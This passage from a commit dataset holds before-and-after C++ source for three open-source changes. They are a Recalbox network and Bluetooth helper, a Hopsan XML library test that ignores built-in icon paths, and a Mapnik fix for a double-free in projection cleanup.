CONNECTED\";\n getifaddrs(&ifAddrStruct);\n\n for (ifa = ifAddrStruct; ifa != NULL; ifa = ifa->ifa_next) {\n if (!ifa->ifa_addr) {\n continue;\n }\n if (ifa->ifa_addr->sa_family == AF_INET) { \/\/ check it is IP4\n \/\/ is a valid IP4 Address\n tmpAddrPtr = &((struct sockaddr_in *) ifa->ifa_addr)->sin_addr;\n char addressBuffer[INET_ADDRSTRLEN];\n inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN);\n printf(\"%s IP Address %s\\n\", ifa->ifa_name, addressBuffer);\n if (std::string(ifa->ifa_name).find(\"eth\") != std::string::npos || std::string(ifa->ifa_name).find(\"wlan\") != std::string::npos) {\n result = std::string(addressBuffer);\n }\n }\n }\n \/\/ Seeking for ipv6 if no IPV4\n if (result.compare(\"NOT CONNECTED\") == 0) {\n for (ifa = ifAddrStruct; ifa != NULL; ifa = ifa->ifa_next) {\n if (!ifa->ifa_addr) {\n continue;\n }\n if (ifa->ifa_addr->sa_family == AF_INET6) { \/\/ check it is IP6\n \/\/ is a valid IP6 Address\n tmpAddrPtr = &((struct sockaddr_in6 *) ifa->ifa_addr)->sin6_addr;\n char addressBuffer[INET6_ADDRSTRLEN];\n inet_ntop(AF_INET6, tmpAddrPtr, addressBuffer, INET6_ADDRSTRLEN);\n printf(\"%s IP Address %s\\n\", ifa->ifa_name, addressBuffer);\n if (std::string(ifa->ifa_name).find(\"eth\") != std::string::npos || std::string(ifa->ifa_name).find(\"wlan\") != std::string::npos) {\n return std::string(addressBuffer);\n }\n }\n }\n }\n if (ifAddrStruct != NULL) freeifaddrs(ifAddrStruct);\n return result;\n}\n\nstd::vector<std::string> *RecalboxSystem::scanBluetooth() {\n std::vector<std::string> *res = new std::vector<std::string>();\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"hcitoolscan\";\n FILE *pipe = popen(oss.str().c_str(), \"r\");\n char line[1024];\n\n if (pipe == NULL) {\n return NULL;\n }\n\n while (fgets(line, 1024, pipe)) {\n strtok(line, \"\\n\");\n res->push_back(std::string(line));\n }\n pclose(pipe);\n\n return res;\n}\n\nbool RecalboxSystem::pairBluetooth(std::string &controller) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"hiddpair\" << \" \" << controller;\n int exitcode = system(oss.str().c_str());\n return exitcode == 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*-----------------------------------------------------------------------------\n This source file is a part of Hopsan\n\n Copyright (c) 2009 to present year, Hopsan Group\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n For license details and information about the Hopsan Group see the files\n GPLv3 and HOPSANGROUP in the Hopsan source code root directory\n\n For author and contributor information see the AUTHORS file\n-----------------------------------------------------------------------------*\/\n\n\/\/ $Id$\n\n#include <QString>\n#include <QtTest>\n#include <QDir>\n#include <QtXml>\n#include <QFileInfo>\n#include \"HopsanEssentials.h\"\n#include \"HopsanCoreMacros.h\"\n\n#define DEFAULTLIBPATH \"..\/componentLibraries\/defaultLibrary\"\n\n#ifndef BUILTINDEFAULTCOMPONENTLIB\n #ifdef _WIN32\n #define DEFAULTCOMPONENTLIB DEFAULTLIBPATH \"\/defaultComponentLibrary\" TO_STR(DEBUG_EXT) \".dll\"\n #else\n #define DEFAULTCOMPONENTLIB DEFAULTLIBPATH \"\/libdefaultComponentLibrary\" TO_STR(DEBUG_EXT) \".so\"\n #endif\n#endif\n\nusing namespace hopsan;\n\n\nclass DefaultLibraryXMLTest : public QObject\n{\n Q_OBJECT\n\npublic:\n DefaultLibraryXMLTest();\n\nprivate Q_SLOTS:\n void initTestCase();\n void testIconPaths();\n void testPortNames();\n void testSourceCodeLink();\n\nprivate:\n void recurseCollectXMLFiles(const QDir &rDir);\n QFileInfoList mAllXMLFiles;\n HopsanEssentials mHopsanCore;\n};\n\ntypedef QMap<QString, QString> IconNameMapT;\n\nQDomElement loadXMLFileToDOM(const QFileInfo &rXMLFileInfo, QDomDocument &rDoc)\n{\n QFile file(rXMLFileInfo.absoluteFilePath());\n if (!file.open(QIODevice::ReadOnly))\n {\n return QDomElement();\n }\n\n rDoc.setContent(&file);\n file.close();\n\n QDomElement root = rDoc.documentElement();\n if (root.tagName() == \"hopsanobjectappearance\")\n {\n return root;\n }\n else\n {\n return QDomElement();\n }\n}\n\nIconNameMapT extractIconPathsFromMO(const QDomElement dom)\n{\n IconNameMapT map;\n QDomElement icon = dom.firstChildElement(\"icons\").firstChildElement(\"icon\");\n while (!icon.isNull())\n {\n map.insert(icon.attribute(\"type\"), icon.attribute(\"path\"));\n icon = icon.nextSiblingElement(\"icon\");\n }\n return map;\n}\n\nQStringList extractPortNamesFromMO(const QDomElement dom)\n{\n QStringList names;\n QDomElement port = dom.firstChildElement(\"ports\").firstChildElement(\"port\");\n while (!port.isNull())\n {\n names.append(port.attribute(\"name\"));\n port = port.nextSiblingElement(\"port\");\n }\n return names;\n}\n\nQString extractTypeNameFromMO(const QDomElement dom)\n{\n return dom.attribute(\"typename\");\n}\n\nQString extractSourceCodeLinkFromMO(const QDomElement dom)\n{\n return dom.attribute(\"sourcecode\");\n}\n\nDefaultLibraryXMLTest::DefaultLibraryXMLTest()\n{\n}\n\nvoid DefaultLibraryXMLTest::initTestCase()\n{\n mAllXMLFiles.clear();\n\n \/\/ Loop through all subdirs, to find all XML files, and store them in a list\n QDir libRoot(DEFAULTLIBPATH);\n QVERIFY2(libRoot.exists(), QString(\"Libroot: %1 could not be found!\").arg(DEFAULTLIBPATH).toStdString().c_str());\n recurseCollectXMLFiles(libRoot);\n\n#ifndef BUILTINDEFAULTCOMPONENTLIB\n bool loadOK = mHopsanCore.loadExternalComponentLib(DEFAULTCOMPONENTLIB);\n QVERIFY2(loadOK, \"could not load the component library\");\n#endif\n}\n\nvoid DefaultLibraryXMLTest::testIconPaths()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n IconNameMapT map = extractIconPathsFromMO(mo);\n IconNameMapT::iterator it;\n for (it=map.begin(); it!=map.end(); ++it)\n {\n QString relPath = it.value();\n QFileInfo iconFile(mAllXMLFiles[i].absolutePath()+\"\/\"+relPath);\n if (!iconFile.exists())\n {\n QWARN(QString(\"The icon file %1 could not be found, linked from xml file: %2\").arg(iconFile.absoluteFilePath()).arg(mAllXMLFiles[i].absoluteFilePath()).toStdString().c_str());\n isOK = false;\n }\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one icon not found!\");\n}\n\nvoid DefaultLibraryXMLTest::testPortNames()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n QString typeName = extractTypeNameFromMO(mo);\n QStringList portNames = extractPortNamesFromMO(mo);\n\n Component* pComponent = mHopsanCore.createComponent(typeName.toStdString().c_str());\n if (pComponent)\n {\n for (int p=0; p<portNames.size(); ++p )\n {\n Port *pPort = pComponent->getPort(portNames[p].toStdString().c_str());\n if (pPort == 0)\n {\n isOK = false;\n QWARN(QString(\"Component: %1 Port: %2 exist in XML but not in CODE!\").arg(typeName).arg(portNames[p]).toStdString().c_str());\n }\n }\n mHopsanCore.removeComponent(pComponent);\n }\n else\n {\n QWARN(QString(\"Component: %1 exist in XML but not in core!\").arg(typeName).toStdString().c_str());\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one port name mismatch in your XML and CODE\");\n}\n\nvoid DefaultLibraryXMLTest::testSourceCodeLink()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n QString typeName = extractTypeNameFromMO(mo);\n QString sourceCode = extractSourceCodeLinkFromMO(mo);\n\n if (sourceCode.isEmpty())\n {\n QWARN(QString(\"SourceCode attribute not set for component %1!\").arg(typeName).toStdString().c_str());\n \/\/isOK = false;\n\n \/\/ ===================================\n \/\/ Add the code automatically\n\/\/ QString codefile = typeName+\".hpp\";\n\/\/ mo.setAttribute(\"sourcecode\", codefile);\n\/\/ QFile f(mAllXMLFiles[i].absoluteFilePath());\n\/\/ if (f.open(QIODevice::WriteOnly | QIODevice::Text))\n\/\/ {\n\/\/ QTextStream out(&f);\n\/\/ QDomDocument doc = mo.ownerDocument();\n\/\/ doc.save(out,4);\n\/\/ }\n\/\/ f.close();\n \/\/ ===================================\n }\n else\n {\n QFileInfo sourceFile(mAllXMLFiles[i].absolutePath()+\"\/\"+sourceCode);\n if(!sourceFile.exists())\n {\n QWARN(QString(\"SourceCode file: %1 for component %2 is missing!\").arg(sourceFile.absoluteFilePath()).arg(typeName).toStdString().c_str());\n isOK = false;\n }\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one sourcecode link not working!\");\n}\n\n\nvoid DefaultLibraryXMLTest::recurseCollectXMLFiles(const QDir &rDir)\n{\n QFileInfoList contents = rDir.entryInfoList(QDir::Dirs | QDir::Files | QDir::NoDotAndDotDot, QDir::DirsLast);\n for (int i=0;i<contents.size();++i)\n {\n if (contents[i].isFile() && contents[i].suffix().toLower() == \"xml\")\n {\n mAllXMLFiles.append(contents[i]);\n }\n else if (contents[i].isDir())\n {\n recurseCollectXMLFiles(contents[i].absoluteFilePath());\n }\n }\n}\n\nQTEST_APPLESS_MAIN(DefaultLibraryXMLTest)\n\n#include \"tst_defaultlibraryxmltest.moc\"\n<commit_msg>Prevent reporting error for :graphics\/ icons (that are built in) actually it should check that they exist, now it just ignores them<commit_after>\/*-----------------------------------------------------------------------------\n This source file is a part of Hopsan\n\n Copyright (c) 2009 to present year, Hopsan Group\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n For license details and information about the Hopsan Group see the files\n GPLv3 and HOPSANGROUP in the Hopsan source code root directory\n\n For author and contributor information see the AUTHORS file\n-----------------------------------------------------------------------------*\/\n\n\/\/ $Id$\n\n#include <QString>\n#include <QtTest>\n#include <QDir>\n#include <QtXml>\n#include <QFileInfo>\n#include \"HopsanEssentials.h\"\n#include \"HopsanCoreMacros.h\"\n\n#define DEFAULTLIBPATH \"..\/componentLibraries\/defaultLibrary\"\n\n#ifndef BUILTINDEFAULTCOMPONENTLIB\n #ifdef _WIN32\n #define DEFAULTCOMPONENTLIB DEFAULTLIBPATH \"\/defaultComponentLibrary\" TO_STR(DEBUG_EXT) \".dll\"\n #else\n #define DEFAULTCOMPONENTLIB DEFAULTLIBPATH \"\/libdefaultComponentLibrary\" TO_STR(DEBUG_EXT) \".so\"\n #endif\n#endif\n\nusing namespace hopsan;\n\n\nclass DefaultLibraryXMLTest : public QObject\n{\n Q_OBJECT\n\npublic:\n DefaultLibraryXMLTest();\n\nprivate Q_SLOTS:\n void initTestCase();\n void testIconPaths();\n void testPortNames();\n void testSourceCodeLink();\n\nprivate:\n void recurseCollectXMLFiles(const QDir &rDir);\n QFileInfoList mAllXMLFiles;\n HopsanEssentials mHopsanCore;\n};\n\ntypedef QMap<QString, QString> IconNameMapT;\n\nQDomElement loadXMLFileToDOM(const QFileInfo &rXMLFileInfo, QDomDocument &rDoc)\n{\n QFile file(rXMLFileInfo.absoluteFilePath());\n if (!file.open(QIODevice::ReadOnly))\n {\n return QDomElement();\n }\n\n rDoc.setContent(&file);\n file.close();\n\n QDomElement root = rDoc.documentElement();\n if (root.tagName() == \"hopsanobjectappearance\")\n {\n return root;\n }\n else\n {\n return QDomElement();\n }\n}\n\nIconNameMapT extractIconPathsFromMO(const QDomElement dom)\n{\n IconNameMapT map;\n QDomElement icon = dom.firstChildElement(\"icons\").firstChildElement(\"icon\");\n while (!icon.isNull())\n {\n map.insert(icon.attribute(\"type\"), icon.attribute(\"path\"));\n icon = icon.nextSiblingElement(\"icon\");\n }\n return map;\n}\n\nQStringList extractPortNamesFromMO(const QDomElement dom)\n{\n QStringList names;\n QDomElement port = dom.firstChildElement(\"ports\").firstChildElement(\"port\");\n while (!port.isNull())\n {\n names.append(port.attribute(\"name\"));\n port = port.nextSiblingElement(\"port\");\n }\n return names;\n}\n\nQString extractTypeNameFromMO(const QDomElement dom)\n{\n return dom.attribute(\"typename\");\n}\n\nQString extractSourceCodeLinkFromMO(const QDomElement dom)\n{\n return dom.attribute(\"sourcecode\");\n}\n\nDefaultLibraryXMLTest::DefaultLibraryXMLTest()\n{\n}\n\nvoid DefaultLibraryXMLTest::initTestCase()\n{\n mAllXMLFiles.clear();\n\n \/\/ Loop through all subdirs, to find all XML files, and store them in a list\n QDir libRoot(DEFAULTLIBPATH);\n QVERIFY2(libRoot.exists(), QString(\"Libroot: %1 could not be found!\").arg(DEFAULTLIBPATH).toStdString().c_str());\n recurseCollectXMLFiles(libRoot);\n\n#ifndef BUILTINDEFAULTCOMPONENTLIB\n bool loadOK = mHopsanCore.loadExternalComponentLib(DEFAULTCOMPONENTLIB);\n QVERIFY2(loadOK, \"could not load the component library\");\n#endif\n}\n\nvoid DefaultLibraryXMLTest::testIconPaths()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n IconNameMapT map = extractIconPathsFromMO(mo);\n IconNameMapT::iterator it;\n for (it=map.begin(); it!=map.end(); ++it)\n {\n QString relPath = it.value();\n QFileInfo iconFile(mAllXMLFiles[i].absolutePath()+\"\/\"+relPath);\n if (!iconFile.exists() && !relPath.startsWith(\":graphics\/\"))\n {\n QWARN(QString(\"The icon file %1 could not be found, linked from xml file: %2\").arg(iconFile.absoluteFilePath()).arg(mAllXMLFiles[i].absoluteFilePath()).toStdString().c_str());\n isOK = false;\n }\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one icon not found!\");\n}\n\nvoid DefaultLibraryXMLTest::testPortNames()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n QString typeName = extractTypeNameFromMO(mo);\n QStringList portNames = extractPortNamesFromMO(mo);\n\n Component* pComponent = mHopsanCore.createComponent(typeName.toStdString().c_str());\n if (pComponent)\n {\n for (int p=0; p<portNames.size(); ++p )\n {\n Port *pPort = pComponent->getPort(portNames[p].toStdString().c_str());\n if (pPort == 0)\n {\n isOK = false;\n QWARN(QString(\"Component: %1 Port: %2 exist in XML but not in CODE!\").arg(typeName).arg(portNames[p]).toStdString().c_str());\n }\n }\n mHopsanCore.removeComponent(pComponent);\n }\n else\n {\n QWARN(QString(\"Component: %1 exist in XML but not in core!\").arg(typeName).toStdString().c_str());\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one port name mismatch in your XML and CODE\");\n}\n\nvoid DefaultLibraryXMLTest::testSourceCodeLink()\n{\n bool isOK = true;\n for (int i=0; i<mAllXMLFiles.size(); ++i)\n {\n QDomDocument doc;\n QDomElement mo = loadXMLFileToDOM(mAllXMLFiles[i].absoluteFilePath(),doc).firstChildElement(\"modelobject\");\n while(!mo.isNull())\n {\n QString typeName = extractTypeNameFromMO(mo);\n QString sourceCode = extractSourceCodeLinkFromMO(mo);\n\n if (sourceCode.isEmpty())\n {\n QWARN(QString(\"SourceCode attribute not set for component %1!\").arg(typeName).toStdString().c_str());\n \/\/isOK = false;\n\n \/\/ ===================================\n \/\/ Add the code automatically\n\/\/ QString codefile = typeName+\".hpp\";\n\/\/ mo.setAttribute(\"sourcecode\", codefile);\n\/\/ QFile f(mAllXMLFiles[i].absoluteFilePath());\n\/\/ if (f.open(QIODevice::WriteOnly | QIODevice::Text))\n\/\/ {\n\/\/ QTextStream out(&f);\n\/\/ QDomDocument doc = mo.ownerDocument();\n\/\/ doc.save(out,4);\n\/\/ }\n\/\/ f.close();\n \/\/ ===================================\n }\n else\n {\n QFileInfo sourceFile(mAllXMLFiles[i].absolutePath()+\"\/\"+sourceCode);\n if(!sourceFile.exists())\n {\n QWARN(QString(\"SourceCode file: %1 for component %2 is missing!\").arg(sourceFile.absoluteFilePath()).arg(typeName).toStdString().c_str());\n isOK = false;\n }\n }\n mo = mo.nextSiblingElement(\"modelobject\");\n }\n }\n QVERIFY2(isOK, \"There were at least one sourcecode link not working!\");\n}\n\n\nvoid DefaultLibraryXMLTest::recurseCollectXMLFiles(const QDir &rDir)\n{\n QFileInfoList contents = rDir.entryInfoList(QDir::Dirs | QDir::Files | QDir::NoDotAndDotDot, QDir::DirsLast);\n for (int i=0;i<contents.size();++i)\n {\n if (contents[i].isFile() && contents[i].suffix().toLower() == \"xml\")\n {\n mAllXMLFiles.append(contents[i]);\n }\n else if (contents[i].isDir())\n {\n recurseCollectXMLFiles(contents[i].absoluteFilePath());\n }\n }\n}\n\nQTEST_APPLESS_MAIN(DefaultLibraryXMLTest)\n\n#include \"tst_defaultlibraryxmltest.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/ mapnik\n#include <mapnik\/projection.hpp>\n#include <mapnik\/utils.hpp>\n#include <mapnik\/util\/trim.hpp>\n#include <mapnik\/well_known_srs.hpp>\n\n\/\/ stl\n#include <stdexcept>\n\n#ifdef MAPNIK_USE_PROJ4\n\/\/ proj4\n#include <proj_api.h>\n#if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n#include <boost\/thread\/mutex.hpp>\n#ifdef _MSC_VER\n#pragma NOTE(mapnik is building against < proj 4.8, reprojection will be faster if you use >= 4.8)\n#else\n#warning mapnik is building against < proj 4.8, reprojection will be faster if you use >= 4.8\n#endif\nstatic boost::mutex mutex_;\n#endif\n\n#endif\n\nnamespace mapnik {\n\n\nprojection::projection(std::string const& params, bool defer_proj_init)\n : params_(params),\n defer_proj_init_(defer_proj_init),\n proj_(NULL),\n proj_ctx_(NULL)\n{\n boost::optional<bool> is_known = is_known_geographic(params_);\n if (is_known){\n is_geographic_ = *is_known;\n }\n else\n {\n#ifdef MAPNIK_USE_PROJ4\n init_proj4();\n#else\n throw std::runtime_error(std::string(\"Cannot initialize projection '\") + params_ + \" ' without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n }\n if (!defer_proj_init_) init_proj4();\n}\n\nprojection::projection(projection const& rhs)\n : params_(rhs.params_),\n defer_proj_init_(rhs.defer_proj_init_),\n is_geographic_(rhs.is_geographic_),\n proj_(NULL),\n proj_ctx_(NULL)\n{\n if (!defer_proj_init_) init_proj4();\n}\n\nprojection& projection::operator=(projection const& rhs)\n{\n projection tmp(rhs);\n swap(tmp);\n proj_ctx_ = 0;\n proj_ = 0;\n if (!defer_proj_init_) init_proj4();\n return *this;\n}\n\nbool projection::operator==(const projection& other) const\n{\n return (params_ == other.params_);\n}\n\nbool projection::operator!=(const projection& other) const\n{\n return !(*this == other);\n}\n\nvoid projection::init_proj4() const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n#if PJ_VERSION >= 480\n proj_ctx_ = pj_ctx_alloc();\n proj_ = pj_init_plus_ctx(proj_ctx_, params_.c_str());\n if (!proj_)\n {\n if (proj_ctx_) pj_ctx_free(proj_ctx_);\n throw proj_init_error(params_);\n }\n#else\n #if defined(MAPNIK_THREADSAFE)\n mutex::scoped_lock lock(mutex_);\n #endif\n proj_ = pj_init_plus(params_.c_str());\n if (!proj_) throw proj_init_error(params_);\n#endif\n is_geographic_ = pj_is_latlong(proj_) ? true : false;\n }\n#endif\n}\n\nbool projection::is_initialized() const\n{\n return proj_ ? true : false;\n}\n\nbool projection::is_geographic() const\n{\n return is_geographic_;\n}\n\nboost::optional<well_known_srs_e> projection::well_known() const\n{\n return is_well_known_srs(params_);\n}\n\nstd::string const& projection::params() const\n{\n return params_;\n}\n\nvoid projection::forward(double & x, double &y ) const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n throw std::runtime_error(\"projection::forward not supported unless proj4 is initialized\");\n }\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n projUV p;\n p.u = x * DEG_TO_RAD;\n p.v = y * DEG_TO_RAD;\n p = pj_fwd(p,proj_);\n x = p.u;\n y = p.v;\n if (is_geographic_)\n {\n x *=RAD_TO_DEG;\n y *=RAD_TO_DEG;\n }\n#else\n throw std::runtime_error(\"projection::forward not supported without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n}\n\nvoid projection::inverse(double & x,double & y) const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n throw std::runtime_error(\"projection::inverse not supported unless proj4 is initialized\");\n }\n\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n if (is_geographic_)\n {\n x *=DEG_TO_RAD;\n y *=DEG_TO_RAD;\n }\n projUV p;\n p.u = x;\n p.v = y;\n p = pj_inv(p,proj_);\n x = RAD_TO_DEG * p.u;\n y = RAD_TO_DEG * p.v;\n#else\n throw std::runtime_error(\"projection::inverse not supported without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n}\n\nprojection::~projection()\n{\n#ifdef MAPNIK_USE_PROJ4\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n if (proj_) pj_free(proj_);\n #if PJ_VERSION >= 480\n if (proj_ctx_) pj_ctx_free(proj_ctx_);\n #endif\n#endif\n}\n\nstd::string projection::expanded() const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (proj_) return mapnik::util::trim_copy(pj_get_def( proj_, 0 ));\n#endif\n return params_;\n}\n\nvoid projection::swap(projection& rhs)\n{\n std::swap(params_,rhs.params_);\n std::swap(defer_proj_init_,rhs.defer_proj_init_);\n std::swap(is_geographic_,rhs.is_geographic_);\n}\n\n}\n<commit_msg>prevent double-free in mapnik::projection<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/ mapnik\n#include <mapnik\/projection.hpp>\n#include <mapnik\/utils.hpp>\n#include <mapnik\/util\/trim.hpp>\n#include <mapnik\/well_known_srs.hpp>\n\n\/\/ stl\n#include <stdexcept>\n\n#ifdef MAPNIK_USE_PROJ4\n\/\/ proj4\n#include <proj_api.h>\n#if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n#include <boost\/thread\/mutex.hpp>\n#ifdef _MSC_VER\n#pragma NOTE(mapnik is building against < proj 4.8, reprojection will be faster if you use >= 4.8)\n#else\n#warning mapnik is building against < proj 4.8, reprojection will be faster if you use >= 4.8\n#endif\nstatic boost::mutex mutex_;\n#endif\n\n#endif\n\nnamespace mapnik {\n\n\nprojection::projection(std::string const& params, bool defer_proj_init)\n : params_(params),\n defer_proj_init_(defer_proj_init),\n proj_(NULL),\n proj_ctx_(NULL)\n{\n boost::optional<bool> is_known = is_known_geographic(params_);\n if (is_known){\n is_geographic_ = *is_known;\n }\n else\n {\n#ifdef MAPNIK_USE_PROJ4\n init_proj4();\n#else\n throw std::runtime_error(std::string(\"Cannot initialize projection '\") + params_ + \" ' without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n }\n if (!defer_proj_init_) init_proj4();\n}\n\nprojection::projection(projection const& rhs)\n : params_(rhs.params_),\n defer_proj_init_(rhs.defer_proj_init_),\n is_geographic_(rhs.is_geographic_),\n proj_(NULL),\n proj_ctx_(NULL)\n{\n if (!defer_proj_init_) init_proj4();\n}\n\nprojection& projection::operator=(projection const& rhs)\n{\n projection tmp(rhs);\n swap(tmp);\n proj_ctx_ = 0;\n proj_ = 0;\n if (!defer_proj_init_) init_proj4();\n return *this;\n}\n\nbool projection::operator==(const projection& other) const\n{\n return (params_ == other.params_);\n}\n\nbool projection::operator!=(const projection& other) const\n{\n return !(*this == other);\n}\n\nvoid projection::init_proj4() const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n#if PJ_VERSION >= 480\n proj_ctx_ = pj_ctx_alloc();\n proj_ = pj_init_plus_ctx(proj_ctx_, params_.c_str());\n if (!proj_)\n {\n if (proj_ctx_) {\n pj_ctx_free(proj_ctx_);\n proj_ctx_ = 0;\n }\n throw proj_init_error(params_);\n }\n#else\n #if defined(MAPNIK_THREADSAFE)\n mutex::scoped_lock lock(mutex_);\n #endif\n proj_ = pj_init_plus(params_.c_str());\n if (!proj_) throw proj_init_error(params_);\n#endif\n is_geographic_ = pj_is_latlong(proj_) ? true : false;\n }\n#endif\n}\n\nbool projection::is_initialized() const\n{\n return proj_ ? true : false;\n}\n\nbool projection::is_geographic() const\n{\n return is_geographic_;\n}\n\nboost::optional<well_known_srs_e> projection::well_known() const\n{\n return is_well_known_srs(params_);\n}\n\nstd::string const& projection::params() const\n{\n return params_;\n}\n\nvoid projection::forward(double & x, double &y ) const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n throw std::runtime_error(\"projection::forward not supported unless proj4 is initialized\");\n }\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n projUV p;\n p.u = x * DEG_TO_RAD;\n p.v = y * DEG_TO_RAD;\n p = pj_fwd(p,proj_);\n x = p.u;\n y = p.v;\n if (is_geographic_)\n {\n x *=RAD_TO_DEG;\n y *=RAD_TO_DEG;\n }\n#else\n throw std::runtime_error(\"projection::forward not supported without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n}\n\nvoid projection::inverse(double & x,double & y) const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (!proj_)\n {\n throw std::runtime_error(\"projection::inverse not supported unless proj4 is initialized\");\n }\n\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n if (is_geographic_)\n {\n x *=DEG_TO_RAD;\n y *=DEG_TO_RAD;\n }\n projUV p;\n p.u = x;\n p.v = y;\n p = pj_inv(p,proj_);\n x = RAD_TO_DEG * p.u;\n y = RAD_TO_DEG * p.v;\n#else\n throw std::runtime_error(\"projection::inverse not supported without proj4 support (-DMAPNIK_USE_PROJ4)\");\n#endif\n}\n\nprojection::~projection()\n{\n#ifdef MAPNIK_USE_PROJ4\n #if defined(MAPNIK_THREADSAFE) && PJ_VERSION < 480\n mutex::scoped_lock lock(mutex_);\n #endif\n if (proj_) pj_free(proj_);\n #if PJ_VERSION >= 480\n if (proj_ctx_) pj_ctx_free(proj_ctx_);\n #endif\n#endif\n}\n\nstd::string projection::expanded() const\n{\n#ifdef MAPNIK_USE_PROJ4\n if (proj_) return mapnik::util::trim_copy(pj_get_def( proj_, 0 ));\n#endif\n return params_;\n}\n\nvoid projection::swap(projection& rhs)\n{\n std::swap(params_,rhs.params_);\n 